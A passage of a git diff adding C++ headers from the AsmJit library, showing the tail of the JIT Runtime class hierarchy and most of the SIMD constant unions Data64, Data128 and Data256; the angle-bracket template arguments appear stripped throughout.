ASMJIT_VIRTAPI Runtime { +public: + ASMJIT_NONCOPYABLE(Runtime) + + ASMJIT_ENUM(RuntimeType) { + kRuntimeNone = 0, + kRuntimeJit = 1, + kRuntimeRemote = 2 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a `Runtime` instance. + ASMJIT_API Runtime() noexcept; + //! Destroy the `Runtime` instance. + ASMJIT_API virtual ~Runtime() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get CodeInfo of this runtime. + //! + //! CodeInfo can be used to setup a CodeHolder in case you plan to generate a + //! code compatible and executable by this Runtime. + ASMJIT_INLINE const CodeInfo& getCodeInfo() const noexcept { return _codeInfo; } + + //! Get the Runtime's architecture type, see \ref ArchInfo::Type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return _codeInfo.getArchType(); } + //! Get the Runtime's architecture sub-type, see \ref ArchInfo::SubType. + ASMJIT_INLINE uint32_t getArchSubType() const noexcept { return _codeInfo.getArchSubType(); } + + //! Get the runtime type, see \ref Type. + ASMJIT_INLINE uint32_t getRuntimeType() const noexcept { return _runtimeType; } + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + // NOTE: To allow passing function pointers to `add()` and `release()` the + // virtual methods are prefixed with `_` and called from templates. + + template + ASMJIT_INLINE Error add(Func* dst, CodeHolder* code) noexcept { + return _add(Internal::ptr_cast(dst), code); + } + + template + ASMJIT_INLINE Error release(Func dst) noexcept { + return _release(Internal::ptr_cast(dst)); + } + + //! Allocate a memory needed for a code stored in the \ref CodeHolder and + //! relocate it to the target location. + //! + //! The beginning of the memory allocated for the function is returned in + //! `dst`. If failed the \ref Error code is returned and `dst` is set to null + //! (this means that you don't have to set it to null before calling `add()`). + virtual Error _add(void** dst, CodeHolder* code) noexcept = 0; + + //! Release `p` allocated by `add()`. + virtual Error _release(void* p) noexcept = 0; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CodeInfo _codeInfo; //!< Basic information about the Runtime's code. + uint8_t _runtimeType; //!< Type of the runtime. + uint8_t _allocType; //!< Type of the allocator the Runtime uses. + uint8_t _reserved[6]; //!< \internal +}; + +// ============================================================================ +// [asmjit::HostRuntime] +// ============================================================================ + +//! Runtime designed to be used in the same process the code is generated in. +class ASMJIT_VIRTAPI HostRuntime : public Runtime { +public: + ASMJIT_NONCOPYABLE(HostRuntime) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a `HostRuntime` instance. + ASMJIT_API HostRuntime() noexcept; + //! Destroy the `HostRuntime` instance. + ASMJIT_API virtual ~HostRuntime() noexcept; + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + //! Flush an instruction cache. + //! + //! This member function is called after the code has been copied to the + //! destination buffer. It is only useful for JIT code generation as it + //! causes a flush of the processor's cache. + //! + //! Flushing is basically a NOP under X86/X64, but is needed by architectures + //! that do not have a transparent instruction cache like ARM. + //! + //! This function can also be overridden to improve compatibility with tools + //! such as Valgrind, however, it's not an official part of AsmJit. + ASMJIT_API virtual void flush(const void* p, size_t size) noexcept; +}; + +// ============================================================================ +// [asmjit::JitRuntime] +// ============================================================================ + +//! Runtime designed to store and execute code generated at runtime (JIT). +class ASMJIT_VIRTAPI JitRuntime : public HostRuntime { +public: + ASMJIT_NONCOPYABLE(JitRuntime) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a `JitRuntime` instance. + ASMJIT_API JitRuntime() noexcept; + //! Destroy the `JitRuntime` instance. + ASMJIT_API virtual ~JitRuntime() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the type of allocation. + ASMJIT_INLINE uint32_t getAllocType() const noexcept { return _allocType; } + //! Set the type of allocation. + ASMJIT_INLINE void setAllocType(uint32_t allocType) noexcept { _allocType = allocType; } + + //! Get the virtual memory manager. + ASMJIT_INLINE VMemMgr* getMemMgr() const noexcept { return const_cast(&_memMgr); } + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + ASMJIT_API Error _add(void** dst, CodeHolder* code) noexcept override; + ASMJIT_API Error _release(void* p) noexcept override; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Virtual memory manager. + VMemMgr _memMgr; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_RUNTIME_H diff --git a/asmjit/src/asmjit/base/simdtypes.h b/asmjit/src/asmjit/base/simdtypes.h new file mode 100644 index 0000000..5c1c75a --- /dev/null +++ b/asmjit/src/asmjit/base/simdtypes.h @@ -0,0 +1,1075 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_SIMDTYPES_H +#define _ASMJIT_BASE_SIMDTYPES_H + +// [Dependencies] +#include "../base/globals.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Data64] +// ============================================================================ + +//! 64-bit data useful for creating SIMD constants. +union Data64 { + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Set all eight 8-bit signed integers. + static ASMJIT_INLINE Data64 fromI8(int8_t x0) noexcept { + Data64 self; + self.setI8(x0); + return self; + } + + //! Set all eight 8-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU8(uint8_t x0) noexcept { + Data64 self; + self.setU8(x0); + return self; + } + + //! Set all eight 8-bit signed integers. + static ASMJIT_INLINE Data64 fromI8( + int8_t x0, int8_t x1, int8_t x2, int8_t x3, int8_t x4, int8_t x5, int8_t x6, int8_t x7) noexcept { + + Data64 self; + self.setI8(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all eight 8-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU8( + uint8_t x0, uint8_t x1, uint8_t x2, uint8_t x3, uint8_t x4, uint8_t x5, uint8_t x6, uint8_t x7) noexcept { + + Data64 self; + self.setU8(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all four 16-bit signed integers. + static ASMJIT_INLINE Data64 fromI16(int16_t x0) noexcept { + Data64 self; + self.setI16(x0); + return self; + } + + //! Set all four 16-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU16(uint16_t x0) noexcept { + Data64 self; + self.setU16(x0); + return self; + } + + //! Set all four 16-bit signed integers. + static ASMJIT_INLINE Data64 fromI16(int16_t x0, int16_t x1, int16_t x2, int16_t x3) noexcept { + Data64 self; + self.setI16(x0, x1, x2, x3); + return self; + } + + //! Set all four 16-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU16(uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3) noexcept { + Data64 self; + self.setU16(x0, x1, x2, x3); + return self; + } + + //! Set all two 32-bit signed integers. + static ASMJIT_INLINE Data64 fromI32(int32_t x0) noexcept { + Data64 self; + self.setI32(x0); + return self; + } + + //! Set all two 32-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU32(uint32_t x0) noexcept { + Data64 self; + self.setU32(x0); + return self; + } + + //! Set all two 32-bit signed integers. + static ASMJIT_INLINE Data64 fromI32(int32_t x0, int32_t x1) noexcept { + Data64 self; + self.setI32(x0, x1); + return self; + } + + //! Set all two 32-bit unsigned integers. + static ASMJIT_INLINE Data64 fromU32(uint32_t x0, uint32_t x1) noexcept { + Data64 self; + self.setU32(x0, x1); + return self; + } + + //! Set 64-bit signed integer. + static ASMJIT_INLINE Data64 fromI64(int64_t x0) noexcept { + Data64 self; + self.setI64(x0); + return self; + } + + //! Set 64-bit unsigned integer. + static ASMJIT_INLINE Data64 fromU64(uint64_t x0) noexcept { + Data64 self; + self.setU64(x0); + return self; + } + + //! Set all two SP-FP values. + static ASMJIT_INLINE Data64 fromF32(float x0) noexcept { + Data64 self; + self.setF32(x0); + return self; + } + + //! Set all two SP-FP values. + static ASMJIT_INLINE Data64 fromF32(float x0, float x1) noexcept { + Data64 self; + self.setF32(x0, x1); + return self; + } + + //! Set all two SP-FP values. + static ASMJIT_INLINE Data64 fromF64(double x0) noexcept { + Data64 self; + self.setF64(x0); + return self; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Set all eight 8-bit signed integers. + ASMJIT_INLINE void setI8(int8_t x0) noexcept { + setU8(static_cast(x0)); + } + + //! Set all eight 8-bit unsigned integers. + ASMJIT_INLINE void setU8(uint8_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0101010101010101); + uq[0] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x01010101U); + ud[0] = xd; + ud[1] = xd; + } + } + + //! Set all eight 8-bit signed integers. + ASMJIT_INLINE void setI8( + int8_t x0, int8_t x1, int8_t x2, int8_t x3, int8_t x4, int8_t x5, int8_t x6, int8_t x7) noexcept { + + sb[0] = x0; sb[1] = x1; sb[2] = x2; sb[3] = x3; + sb[4] = x4; sb[5] = x5; sb[6] = x6; sb[7] = x7; + } + + //! Set all eight 8-bit unsigned integers. + ASMJIT_INLINE void setU8( + uint8_t x0, uint8_t x1, uint8_t x2, uint8_t x3, uint8_t x4, uint8_t x5, uint8_t x6, uint8_t x7) noexcept { + + ub[0] = x0; ub[1] = x1; ub[2] = x2; ub[3] = x3; + ub[4] = x4; ub[5] = x5; ub[6] = x6; ub[7] = x7; + } + + //! Set all four 16-bit signed integers. + ASMJIT_INLINE void setI16(int16_t x0) noexcept { + setU16(static_cast(x0)); + } + + //! Set all four 16-bit unsigned integers. + ASMJIT_INLINE void setU16(uint16_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0001000100010001); + uq[0] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x00010001U); + ud[0] = xd; + ud[1] = xd; + } + } + + //! Set all four 16-bit signed integers. + ASMJIT_INLINE void setI16(int16_t x0, int16_t x1, int16_t x2, int16_t x3) noexcept { + sw[0] = x0; sw[1] = x1; sw[2] = x2; sw[3] = x3; + } + + //! Set all four 16-bit unsigned integers. + ASMJIT_INLINE void setU16(uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3) noexcept { + uw[0] = x0; uw[1] = x1; uw[2] = x2; uw[3] = x3; + } + + //! Set all two 32-bit signed integers. + ASMJIT_INLINE void setI32(int32_t x0) noexcept { + sd[0] = x0; sd[1] = x0; + } + + //! Set all two 32-bit unsigned integers. + ASMJIT_INLINE void setU32(uint32_t x0) noexcept { + ud[0] = x0; ud[1] = x0; + } + + //! Set all two 32-bit signed integers. + ASMJIT_INLINE void setI32(int32_t x0, int32_t x1) noexcept { + sd[0] = x0; sd[1] = x1; + } + + //! Set all two 32-bit unsigned integers. + ASMJIT_INLINE void setU32(uint32_t x0, uint32_t x1) noexcept { + ud[0] = x0; ud[1] = x1; + } + + //! Set 64-bit signed integer. + ASMJIT_INLINE void setI64(int64_t x0) noexcept { + sq[0] = x0; + } + + //! Set 64-bit unsigned integer. + ASMJIT_INLINE void setU64(uint64_t x0) noexcept { + uq[0] = x0; + } + + //! Set all two SP-FP values. + ASMJIT_INLINE void setF32(float x0) noexcept { + sf[0] = x0; sf[1] = x0; + } + + //! Set all two SP-FP values. + ASMJIT_INLINE void setF32(float x0, float x1) noexcept { + sf[0] = x0; sf[1] = x1; + } + + //! Set all two SP-FP values. + ASMJIT_INLINE void setF64(double x0) noexcept { + df[0] = x0; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Array of eight 8-bit signed integers. + int8_t sb[8]; + //! Array of eight 8-bit unsigned integers. + uint8_t ub[8]; + //! Array of four 16-bit signed integers. + int16_t sw[4]; + //! Array of four 16-bit unsigned integers. + uint16_t uw[4]; + //! Array of two 32-bit signed integers. + int32_t sd[2]; + //! Array of two 32-bit unsigned integers. + uint32_t ud[2]; + //! Array of one 64-bit signed integer. + int64_t sq[1]; + //! Array of one 64-bit unsigned integer. + uint64_t uq[1]; + + //! Array of two SP-FP values. + float sf[2]; + //! Array of one DP-FP value. + double df[1]; +}; + +// ============================================================================ +// [asmjit::Data128] +// ============================================================================ + +//! 128-bit data useful for creating SIMD constants. +union Data128 { + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Set all sixteen 8-bit signed integers. + static ASMJIT_INLINE Data128 fromI8(int8_t x0) noexcept { + Data128 self; + self.setI8(x0); + return self; + } + + //! Set all sixteen 8-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU8(uint8_t x0) noexcept { + Data128 self; + self.setU8(x0); + return self; + } + + //! Set all sixteen 8-bit signed integers. + static ASMJIT_INLINE Data128 fromI8( + int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , + int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , + int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, + int8_t x12, int8_t x13, int8_t x14, int8_t x15) noexcept { + + Data128 self; + self.setI8(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); + return self; + } + + //! Set all sixteen 8-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU8( + uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , + uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , + uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, + uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15) noexcept { + + Data128 self; + self.setU8(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); + return self; + } + + //! Set all eight 16-bit signed integers. + static ASMJIT_INLINE Data128 fromI16(int16_t x0) noexcept { + Data128 self; + self.setI16(x0); + return self; + } + + //! Set all eight 16-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU16(uint16_t x0) noexcept { + Data128 self; + self.setU16(x0); + return self; + } + + //! Set all eight 16-bit signed integers. + static ASMJIT_INLINE Data128 fromI16( + int16_t x0, int16_t x1, int16_t x2, int16_t x3, int16_t x4, int16_t x5, int16_t x6, int16_t x7) noexcept { + + Data128 self; + self.setI16(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all eight 16-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU16( + uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3, uint16_t x4, uint16_t x5, uint16_t x6, uint16_t x7) noexcept { + + Data128 self; + self.setU16(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all four 32-bit signed integers. + static ASMJIT_INLINE Data128 fromI32(int32_t x0) noexcept { + Data128 self; + self.setI32(x0); + return self; + } + + //! Set all four 32-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU32(uint32_t x0) noexcept { + Data128 self; + self.setU32(x0); + return self; + } + + //! Set all four 32-bit signed integers. + static ASMJIT_INLINE Data128 fromI32(int32_t x0, int32_t x1, int32_t x2, int32_t x3) noexcept { + Data128 self; + self.setI32(x0, x1, x2, x3); + return self; + } + + //! Set all four 32-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU32(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3) noexcept { + Data128 self; + self.setU32(x0, x1, x2, x3); + return self; + } + + //! Set all two 64-bit signed integers. + static ASMJIT_INLINE Data128 fromI64(int64_t x0) noexcept { + Data128 self; + self.setI64(x0); + return self; + } + + //! Set all two 64-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU64(uint64_t x0) noexcept { + Data128 self; + self.setU64(x0); + return self; + } + + //! Set all two 64-bit signed integers. + static ASMJIT_INLINE Data128 fromI64(int64_t x0, int64_t x1) noexcept { + Data128 self; + self.setI64(x0, x1); + return self; + } + + //! Set all two 64-bit unsigned integers. + static ASMJIT_INLINE Data128 fromU64(uint64_t x0, uint64_t x1) noexcept { + Data128 self; + self.setU64(x0, x1); + return self; + } + + //! Set all four SP-FP floats. + static ASMJIT_INLINE Data128 fromF32(float x0) noexcept { + Data128 self; + self.setF32(x0); + return self; + } + + //! Set all four SP-FP floats. + static ASMJIT_INLINE Data128 fromF32(float x0, float x1, float x2, float x3) noexcept { + Data128 self; + self.setF32(x0, x1, x2, x3); + return self; + } + + //! Set all two DP-FP floats. + static ASMJIT_INLINE Data128 fromF64(double x0) noexcept { + Data128 self; + self.setF64(x0); + return self; + } + + //! Set all two DP-FP floats. + static ASMJIT_INLINE Data128 fromF64(double x0, double x1) noexcept { + Data128 self; + self.setF64(x0, x1); + return self; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Set all sixteen 8-bit signed integers. + ASMJIT_INLINE void setI8(int8_t x0) noexcept { + setU8(static_cast(x0)); + } + + //! Set all sixteen 8-bit unsigned integers. + ASMJIT_INLINE void setU8(uint8_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0101010101010101); + uq[0] = xq; + uq[1] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x01010101U); + ud[0] = xd; + ud[1] = xd; + ud[2] = xd; + ud[3] = xd; + } + } + + //! Set all sixteen 8-bit signed integers. + ASMJIT_INLINE void setI8( + int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , + int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , + int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, + int8_t x12, int8_t x13, int8_t x14, int8_t x15) noexcept { + + sb[0 ] = x0 ; sb[1 ] = x1 ; sb[2 ] = x2 ; sb[3 ] = x3 ; + sb[4 ] = x4 ; sb[5 ] = x5 ; sb[6 ] = x6 ; sb[7 ] = x7 ; + sb[8 ] = x8 ; sb[9 ] = x9 ; sb[10] = x10; sb[11] = x11; + sb[12] = x12; sb[13] = x13; sb[14] = x14; sb[15] = x15; + } + + //! Set all sixteen 8-bit unsigned integers. + ASMJIT_INLINE void setU8( + uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , + uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , + uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, + uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15) noexcept { + + ub[0 ] = x0 ; ub[1 ] = x1 ; ub[2 ] = x2 ; ub[3 ] = x3 ; + ub[4 ] = x4 ; ub[5 ] = x5 ; ub[6 ] = x6 ; ub[7 ] = x7 ; + ub[8 ] = x8 ; ub[9 ] = x9 ; ub[10] = x10; ub[11] = x11; + ub[12] = x12; ub[13] = x13; ub[14] = x14; ub[15] = x15; + } + + //! Set all eight 16-bit signed integers. + ASMJIT_INLINE void setI16(int16_t x0) noexcept { + setU16(static_cast(x0)); + } + + //! Set all eight 16-bit unsigned integers. + ASMJIT_INLINE void setU16(uint16_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0001000100010001); + uq[0] = xq; + uq[1] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x00010001U); + ud[0] = xd; + ud[1] = xd; + ud[2] = xd; + ud[3] = xd; + } + } + + //! Set all eight 16-bit signed integers. + ASMJIT_INLINE void setI16( + int16_t x0, int16_t x1, int16_t x2, int16_t x3, int16_t x4, int16_t x5, int16_t x6, int16_t x7) noexcept { + + sw[0] = x0; sw[1] = x1; sw[2] = x2; sw[3] = x3; + sw[4] = x4; sw[5] = x5; sw[6] = x6; sw[7] = x7; + } + + //! Set all eight 16-bit unsigned integers. + ASMJIT_INLINE void setU16( + uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3, uint16_t x4, uint16_t x5, uint16_t x6, uint16_t x7) noexcept { + + uw[0] = x0; uw[1] = x1; uw[2] = x2; uw[3] = x3; + uw[4] = x4; uw[5] = x5; uw[6] = x6; uw[7] = x7; + } + + //! Set all four 32-bit signed integers. + ASMJIT_INLINE void setI32(int32_t x0) noexcept { + setU32(static_cast(x0)); + } + + //! Set all four 32-bit unsigned integers. + ASMJIT_INLINE void setU32(uint32_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t t = (static_cast(x0) << 32) + x0; + uq[0] = t; + uq[1] = t; + } + else { + ud[0] = x0; + ud[1] = x0; + ud[2] = x0; + ud[3] = x0; + } + } + + //! Set all four 32-bit signed integers. + ASMJIT_INLINE void setI32(int32_t x0, int32_t x1, int32_t x2, int32_t x3) noexcept { + sd[0] = x0; sd[1] = x1; sd[2] = x2; sd[3] = x3; + } + + //! Set all four 32-bit unsigned integers. + ASMJIT_INLINE void setU32(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3) noexcept { + ud[0] = x0; ud[1] = x1; ud[2] = x2; ud[3] = x3; + } + + //! Set all two 64-bit signed integers. + ASMJIT_INLINE void setI64(int64_t x0) noexcept { + sq[0] = x0; sq[1] = x0; + } + + //! Set all two 64-bit unsigned integers. + ASMJIT_INLINE void setU64(uint64_t x0) noexcept { + uq[0] = x0; uq[1] = x0; + } + + //! Set all two 64-bit signed integers. + ASMJIT_INLINE void setI64(int64_t x0, int64_t x1) noexcept { + sq[0] = x0; sq[1] = x1; + } + + //! Set all two 64-bit unsigned integers. + ASMJIT_INLINE void setU64(uint64_t x0, uint64_t x1) noexcept { + uq[0] = x0; uq[1] = x1; + } + + //! Set all four SP-FP floats. + ASMJIT_INLINE void setF32(float x0) noexcept { + sf[0] = x0; sf[1] = x0; sf[2] = x0; sf[3] = x0; + } + + //! Set all four SP-FP floats. + ASMJIT_INLINE void setF32(float x0, float x1, float x2, float x3) noexcept { + sf[0] = x0; sf[1] = x1; sf[2] = x2; sf[3] = x3; + } + + //! Set all two DP-FP floats. + ASMJIT_INLINE void setF64(double x0) noexcept { + df[0] = x0; df[1] = x0; + } + + //! Set all two DP-FP floats. + ASMJIT_INLINE void setF64(double x0, double x1) noexcept { + df[0] = x0; df[1] = x1; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Array of sixteen 8-bit signed integers. + int8_t sb[16]; + //! Array of sixteen 8-bit unsigned integers. + uint8_t ub[16]; + //! Array of eight 16-bit signed integers. + int16_t sw[8]; + //! Array of eight 16-bit unsigned integers. + uint16_t uw[8]; + //! Array of four 32-bit signed integers. + int32_t sd[4]; + //! Array of four 32-bit unsigned integers. + uint32_t ud[4]; + //! Array of two 64-bit signed integers. + int64_t sq[2]; + //! Array of two 64-bit unsigned integers. + uint64_t uq[2]; + + //! Array of four 32-bit single precision floating points. + float sf[4]; + //! Array of two 64-bit double precision floating points. + double df[2]; +}; + +// ============================================================================ +// [asmjit::Data256] +// ============================================================================ + +//! 256-bit data useful for creating SIMD constants. +union Data256 { + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Set all thirty two 8-bit signed integers. + static ASMJIT_INLINE Data256 fromI8(int8_t x0) noexcept { + Data256 self; + self.setI8(x0); + return self; + } + + //! Set all thirty two 8-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU8(uint8_t x0) noexcept { + Data256 self; + self.setU8(x0); + return self; + } + + //! Set all thirty two 8-bit signed integers. + static ASMJIT_INLINE Data256 fromI8( + int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , + int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , + int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, + int8_t x12, int8_t x13, int8_t x14, int8_t x15, + int8_t x16, int8_t x17, int8_t x18, int8_t x19, + int8_t x20, int8_t x21, int8_t x22, int8_t x23, + int8_t x24, int8_t x25, int8_t x26, int8_t x27, + int8_t x28, int8_t x29, int8_t x30, int8_t x31) noexcept { + + Data256 self; + self.setI8( + x0, x1 , x2 , x3 , x4 , x5 , x6 , x7 , x8 , x9 , x10, x11, x12, x13, x14, x15, + x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31); + return self; + } + + //! Set all thirty two 8-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU8( + uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , + uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , + uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, + uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15, + uint8_t x16, uint8_t x17, uint8_t x18, uint8_t x19, + uint8_t x20, uint8_t x21, uint8_t x22, uint8_t x23, + uint8_t x24, uint8_t x25, uint8_t x26, uint8_t x27, + uint8_t x28, uint8_t x29, uint8_t x30, uint8_t x31) noexcept { + + Data256 self; + self.setU8( + x0, x1 , x2 , x3 , x4 , x5 , x6 , x7 , x8 , x9 , x10, x11, x12, x13, x14, x15, + x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31); + return self; + } + + //! Set all sixteen 16-bit signed integers. + static ASMJIT_INLINE Data256 fromI16(int16_t x0) noexcept { + Data256 self; + self.setI16(x0); + return self; + } + + //! Set all sixteen 16-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU16(uint16_t x0) noexcept { + Data256 self; + self.setU16(x0); + return self; + } + + //! Set all sixteen 16-bit signed integers. + static ASMJIT_INLINE Data256 fromI16( + int16_t x0, int16_t x1, int16_t x2 , int16_t x3 , int16_t x4 , int16_t x5 , int16_t x6 , int16_t x7 , + int16_t x8, int16_t x9, int16_t x10, int16_t x11, int16_t x12, int16_t x13, int16_t x14, int16_t x15) noexcept { + + Data256 self; + self.setI16(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); + return self; + } + + //! Set all sixteen 16-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU16( + uint16_t x0, uint16_t x1, uint16_t x2 , uint16_t x3 , uint16_t x4 , uint16_t x5 , uint16_t x6 , uint16_t x7 , + uint16_t x8, uint16_t x9, uint16_t x10, uint16_t x11, uint16_t x12, uint16_t x13, uint16_t x14, uint16_t x15) noexcept { + + Data256 self; + self.setU16(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); + return self; + } + + //! Set all eight 32-bit signed integers. + static ASMJIT_INLINE Data256 fromI32(int32_t x0) noexcept { + Data256 self; + self.setI32(x0); + return self; + } + + //! Set all eight 32-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU32(uint32_t x0) noexcept { + Data256 self; + self.setU32(x0); + return self; + } + + //! Set all eight 32-bit signed integers. + static ASMJIT_INLINE Data256 fromI32( + int32_t x0, int32_t x1, int32_t x2, int32_t x3, + int32_t x4, int32_t x5, int32_t x6, int32_t x7) noexcept { + + Data256 self; + self.setI32(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all eight 32-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU32( + uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, + uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7) noexcept { + + Data256 self; + self.setU32(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all four 64-bit signed integers. + static ASMJIT_INLINE Data256 fromI64(int64_t x0) noexcept { + Data256 self; + self.setI64(x0); + return self; + } + + //! Set all four 64-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU64(uint64_t x0) noexcept { + Data256 self; + self.setU64(x0); + return self; + } + + //! Set all four 64-bit signed integers. + static ASMJIT_INLINE Data256 fromI64(int64_t x0, int64_t x1, int64_t x2, int64_t x3) noexcept { + Data256 self; + self.setI64(x0, x1, x2, x3); + return self; + } + + //! Set all four 64-bit unsigned integers. + static ASMJIT_INLINE Data256 fromU64(uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3) noexcept { + Data256 self; + self.setU64(x0, x1, x2, x3); + return self; + } + + //! Set all eight SP-FP floats. + static ASMJIT_INLINE Data256 fromF32(float x0) noexcept { + Data256 self; + self.setF32(x0); + return self; + } + + //! Set all eight SP-FP floats. + static ASMJIT_INLINE Data256 fromF32( + float x0, float x1, float x2, float x3, + float x4, float x5, float x6, float x7) noexcept { + + Data256 self; + self.setF32(x0, x1, x2, x3, x4, x5, x6, x7); + return self; + } + + //! Set all four DP-FP floats. + static ASMJIT_INLINE Data256 fromF64(double x0) noexcept { + Data256 self; + self.setF64(x0); + return self; + } + + //! Set all four DP-FP floats. + static ASMJIT_INLINE Data256 fromF64(double x0, double x1, double x2, double x3) noexcept { + Data256 self; + self.setF64(x0, x1, x2, x3); + return self; + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Set all thirty two 8-bit signed integers. + ASMJIT_INLINE void setI8(int8_t x0) noexcept { + setU8(static_cast(x0)); + } + + //! Set all thirty two 8-bit unsigned integers. + ASMJIT_INLINE void setU8(uint8_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0101010101010101); + uq[0] = xq; + uq[1] = xq; + uq[2] = xq; + uq[3] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x01010101U); + ud[0] = xd; + ud[1] = xd; + ud[2] = xd; + ud[3] = xd; + ud[4] = xd; + ud[5] = xd; + ud[6] = xd; + ud[7] = xd; + } + } + + //! Set all thirty two 8-bit signed integers. + ASMJIT_INLINE void 